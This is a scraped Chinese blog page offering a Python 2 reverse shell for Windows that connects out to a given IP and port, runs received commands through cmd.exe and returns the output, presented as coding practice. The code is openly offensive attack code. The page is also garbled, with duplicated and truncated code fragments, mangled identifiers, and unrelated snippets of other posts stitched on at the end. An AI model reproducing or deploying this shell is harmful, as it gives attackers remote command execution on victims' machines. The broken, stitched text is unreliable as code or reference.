python 寫的乙個反向連線的shell

2021-04-01 09:00:09 字數 2535 閱讀 5208

sock.close()

sys.exit(0)

if data[:-1]=='pwd':

sock.send(os.getcwd()+'/n')

fo最近在複習python,順便寫了乙個簡單的反向shell。。純粹是為了練筆。。因為python大部分都存在於linux/unix中,在windows中很少有安裝python(尤其是伺服器,除非web是python寫的)。但我這個shell是乙個windows的shell,不過稍加一改就可以在linux/unix下執行了。。。

拿出來怕大家笑話,不過對於那些想學python卻還猶豫不決的朋友乙個直觀的印象吧。。。總之python確實可以稱得上世界上最棒的指令碼語言,我想它的應用會越來越廣泛。。。

下面是**,高手不要笑我了。。(要知道我能厚者臉皮拿出來,也是經過一番撕心裂肺的鬥爭的~~:——))

_one>

#!/usr/bin/python

import sys

import os

from socket import *

import string

def usage(name):

print '/t/tpython connect back shell/n/n'

print '/t/t     superlone@est/n/n'

print 'usage:/n/t %s /n' % name

if len(sys.argv)==1 or len(sys.argv)>3:

usage(sys.argv[0])

sys.exit(0)

conip=sys.argv[1]

conport=int(sys.argv[2])

wel***e='/t/t[wel***e to the way home]/n'

try:

sock=socket(af_i***,sock_stream)

sock.connect((conip,conport))

except:

print '[-]socket error!/n'

sys.exit(0)

sock.send(wel***e)

prompt='superlone>'

while 1:

sock.send(prompt)

while 1:

data=sock.recv(1024)

if data:break

if data[:-1]=='exit':

sock.send('bye bye')

sock.close()

sys.exit(0)

if data[:-1]=='pwd':

sock.send(os.getcwd()+'/n')

for i in range(len(data.split())):

if 'cd' in data.split():

try:

os.chdir(data.split()[i+1])

except:

sock.send('dir change failed!/n')

rpipe=os.popen('cmd.exe /c '+data[:-1])

sdata=rpipe.read()

rpipe.close()

sock.send(sdata)

r i in range(len(data.split())):

if 'cd' in data.split():

try:

os.chdir(data.split()[i+1])

except:

sock.send('dir change failed!/n')

rpipe=os.popen('cmd.exe /c '+data[:-1])

sdata=rpipe.read()

rpipe.close()

sock.send(sdata)

#!/usr/bin/python

import sys

import os

from socket import *

import string

def usage(name):

print '/t/tpython connect back shell/n/n'

print '/t/t     superlone@est/n/n'

print 'usage:/n/t %s /n' % name

if len(sys.argv)==1 or len(sys.argv)>3:

usage(sys.argv[0])

sys.exit(0)

conip=sys.argv[1]

conport=int(sys.argv[2])

wel***e='/t/t[wel***e to the way home]/n'

=os.popen('cmd.exe /c '+data[:-1])

sdata=rpipe.read()

rpipe.close()

sock.send(sdata)

python寫乙個服務 Python寫乙個服務

coding utf 8 import json from urllib.parse import parse qs from wsgiref.server import make server 定義函式,引數是函式的兩個引數,都是python本身定義的,預設就行了。定義檔案請求的型別和當前請求成功...

python寫的乙個選票系統

coding utf 8 spyder editor this is a temporary script file.coding utf 8 created on fri nov 12 13 54 22 2019 author mikey import numpy as np def count ...

python寫乙個incaseformat檢測工具

1.13日爆發的incaseformat病毒會在對應的系統時間觸發攻擊行為,能在短時間內刪除除了系統盤之外的所有檔案。據研究人員稱該病毒會在1.23再次爆發,小r根據該病毒生成特點製作了乙個簡單的檢測工具。程式設計環境 python3.7 from tkinter import import os....